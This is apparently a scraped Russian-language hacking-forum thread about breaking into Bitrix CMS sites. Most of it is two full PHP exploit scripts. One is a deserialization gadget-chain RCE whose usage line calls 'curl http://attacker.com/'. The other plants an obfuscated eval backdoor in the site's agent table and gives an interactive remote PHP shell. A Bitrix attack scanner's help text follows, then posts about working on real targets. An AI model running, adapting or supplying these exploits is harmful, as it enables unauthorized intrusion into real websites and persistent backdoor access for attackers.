<?php
# <= 20.100.0 [ Start <= Business | CRM (any user) ]
(!isset($argv[3]) ? exit(message('php '.basename(__FILE__).' "https://target-bitrix.com" "system" "curl http://attacker.com/"')) : @list($x, $url, $func, $farg) = $argv);
# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);
# upload default
$body = implode("\r\n", [
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files[.][files][code]"',
'',
'default',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files[.][default]"; filename="image.jpg"',
'Content-Type: image/jpeg',
'',
payload($func, $farg),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[CID]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
'',
'pIndex101',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[mode]"',
'',
'upload',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="action"',
'',
'uploadfile',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="sessid"',
'',
$matches[2],
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[filesCount]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx--'
]);
request($url.'/bitrix/tools/html_editor_action.php', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx');
# exec default
message(request($url.'/bitrix/tools/html_editor_action.php', $matches[1], 'bxu_info[packageIndex]=pIndex101&action=uploadfile&bxu_info[mode]=upload&sessid='.$matches[2].'&bxu_info[filesCount]=1&bxu_info[CID]=default%00'));
function request($url, $cookie = '', $post = '', $header = []){
$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));
$body = @file_get_contents($url, false, stream_context_create(
['ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
'http' =>
['method' => ($post ? 'POST' : 'GET'),
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' => implode("\r\n", $header),
'content' => ($post ? $post : '')
]
])
);
$header = implode(PHP_EOL, $http_response_header);
return $header.PHP_EOL.PHP_EOL.$body;
}
function payload($func, $farg){
return 'O:27:"Bitrix\Main\ORM\Data\Result":3:{S:12:"\00*\00isSuccess";b:0;S:20:"\00*\00wereErrorsChecked";b:0;S:9:"\00*\00errors";O:27:"Bitrix\Main\Type\Dictionary":1:{S:9:"\00*\00values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{S:10:"\00*\00message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{S:13:"\00*\00attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{S:38:"\00Bitrix\5CMain\5CDB\5CResultIterator\00counter";i:0;S:42:"\00Bitrix\5CMain\5CDB\5CResultIterator\00currentData";i:0;S:37:"\00Bitrix\5CMain\5CDB\5CResultIterator\00result";O:26:"Bitrix\Main\DB\ArrayResult":2:{S:11:"\00*\00resource";a:1:{i:0;a:2:{i:0;S:'.strlen($farg).':"\\'.implode('\\', str_split(bin2hex($farg), 2)).'";i:1;s:1:"x";}}S:13:"\00*\00converters";a:2:{i:0;S:'.strlen($func).':"\\'.implode('\\', str_split(bin2hex($func), 2)).'";i:1;s:17:"WriteFinalMessage";}}}}}}}}';
}
function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
?>
<?php
message('Bitrix Pre-Auth Remote Code Execution via Arbitrary Object Instantiation');
message('Affected versions: <= 21.400.100 [ Standart <= Business | CRM (any user) ]');
(!isset($argv[1]) ? exit(message('php '.basename(__FILE__).' https://target-bitrix.com')) : @list($x, $url, $id) = $argv);
message('Target: '.$url);
# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);
# update the agent
$body = implode("\r\n", [
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][default]"; filename="image.jpg"',
'Content-Type: image/jpeg',
'',
str_repeat(' ', 1234),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][IS_PERIOD]"',
'',
'Y',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][RETRY_COUNT]"',
'',
'0',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][AGENT_INTERVAL]"',
'',
'0',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][MODULE_ID]"',
'',
'main',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][ACTIVE]"',
'',
'Y',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_files['.index($id).'][NAME]"',
'',
furl(agent($id)),
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
'',
'pIndex101',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[mode]"',
'',
'upload',
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="sessid"',
'',
$matches[2],
'-----------------------------xxxxxxxxxxxx',
'Content-Disposition: form-data; name="bxu_info[filesCount]"',
'',
'1',
'-----------------------------xxxxxxxxxxxx--'
]);
if(!strpos(request($url.'/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'), '$arAgent')) exit(message('Fail. Agent update problems.'));
message('Injected PHP code: '.PHP_EOL.payload());
message('Sleeping 60 seconds for the agent activation.'); xsleep(60);
message('Now you can use the "bitrixxx" request param or use this console.');
message('Then done, type "EXIT" to restore the agent.');
do {
$code = trim(readline('php > '));
readline_add_history($code);
if($code != 'EXIT')
message(substr(strstr(request($url.'/', $matches[1], 'bitrixxx='.furl(furl('print "~~~";'.$code))), '~~~'), 3));
else
break;
} while(1);
# restore the agent
request($url, $matches[1], 'restorexxx=1');
message('Agent restored.');
message('Bye.');
function request($url, $cookie = '', $post = '', $header = []){
$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));
$body = @file_get_contents($url, false, stream_context_create(
['ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
'http' =>
[ 'timeout' => 10,
'method' => ($post ? 'POST' : 'GET'),
'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header' => implode("\r\n", $header),
'content' => ($post ? $post : '')
]
])
);
$header = implode(PHP_EOL, $http_response_header);
return $header.PHP_EOL.PHP_EOL.$body;
}
function agent($id = 1){
return '$arAgent["NAME"];'.t('eval(urldecode(strrev(\''.strrev(furl('
'.payload().'
return true;')).'\')));');
}
function payload(){
return '
if(isset($_REQUEST["bitrixxx"])){
$DB->Query("UPDATE b_agent SET DATE_CHECK = NULL, RETRY_COUNT = 0, RUNNING = \'N\' WHERE ID = 1");
try{
$e = eval(urldecode(urldecode($_REQUEST["bitrixxx"])));
}
catch (Exception $e){
exit;
}
}
else{
$r = \'\\\\Bitrix\\\\Main\\\\Analytics\\\\CounterDataTable::submitData();\';
if(isset($_REQUEST["restorexxx"])){
$DB->Query("UPDATE b_agent SET AGENT_INTERVAL = 60, IS_PERIOD = \'N\' WHERE ID = 1");
$eval_result = $r;
}
else
eval($r);
}';
}
function index($id){
return 'dd';
}
function furl($str){
return '%'.implode('%', str_split(bin2hex($str), 2));
}
function j(){
$l = rand(10, 50);
while(!isset($c[$l])) @$c .= chr(rand(32, 126));
if(rand(0, 1))
return (rand(0, 1) ? "#".chr(rand(32, 90)) : "//").str_replace("?>", "", $c).(rand(0, 1) ? "\r" : "\n");
else
return (rand(0, 1) ? "/*".str_replace("*/","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}
function xsleep($t){
$s = 0;
do{
print '-';
sleep(1);
$s++;
} while($s < $t);
print PHP_EOL;
}
function t($s){
foreach(token_get_all('<?php '.$s) as $t)
@$r .= (is_array($t) ? $t[1] : $t).j();
return j().substr($r, 5);
}
function message($str){
print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
Usage:
quick-tricks [command]
Available Commands:
help Help about any command
lfi Module 'lfi' checks if there are endpoints vulnerable to Local File Inclusion.
quick Run all quick modules ('recon', 'lfi', 'redirect', 'spoofing' and 'xss')
rce Module 'rce' tries to exploit vulnerable components of the target Bitrix.
recon Module 'recon' helps to find login page endpoints, local path disclosure and license key.
redirect Module 'redirect' checks endpoints vulnerable to Open Redirect.
spoofing Module 'spoofing' tests target for possibility of Content Spoofing attack.
ssrf Module 'ssrf' helps to check whether the target is vulnerable to SSRF or not.
xss Module 'xss' checks target's endpoints that potentially can be vulnerable XSS.
Flags:
-h, --help help for quick-tricks
Use "quick-tricks [command] --help" for more information about a command.
Cпасибо большое за инфу. Все прочитал.1. Особенности
2. Уязвимости
3. Методы атак
Свежачок. Зиродеев нет.
include_path='.:/usr/local/pear/php54' in /home/target2015/target_url/www/bitrix/admin/restore_export.php
{'LANGUAGE_ID':'ru','FORMAT_DATE':'DD.MM.YYYY','FORMAT_DATETIME':'DD.MM.YYYY HH:MI:SS','COOKIE_PREFIX':'BITRIX_SM','SERVER_TZ_OFFSET':'10800','SITE_ID':'s1','USER_ID':'','SERVER_TIME':'1681532057','USER_TZ_OFFSET':'0','USER_TZ_AUTO':'Y','bitrix_sessid':'029c5ef99f3c77c3181c69a5ca59f10c'}
Большинство сайтов пропатчено уже, из-за массовых взломов в 2022 году.Пробовал ряд фишек из методички, но безрезультатно
Искать скули на Битриксе это самое бесполезное занятие. Даже если вывалится где-то ошибка - раскрутить ее нереально, чего я только не пробовал. И рабочих кейсов у кого-либо на последних версиях не видел. SSRF еще рабочий встречается, но очень редко. Описанные RCE не удалось раскрутить ни на одном реальном таргете, заплатки везде.acunetix sql injection не нашел
Понял спасибо. Начал работать по таргету, потому что версия bitrix от 2015 года стоит, видать, что то подшаманили изнутри)Большинство сайтов пропатчено уже, из-за массовых взломов в 2022 году.
Искать скули на Битриксе это самое бесполезное занятие. Даже если вывалится где-то ошибка - раскрутить ее нереально, чего я только не пробовал. И рабочих кейсов у кого-либо на последних версиях не видел. SSRF еще рабочий встречается, но очень редко. Описанные RCE не удалось раскрутить ни на одном реальном таргете, заплатки везде.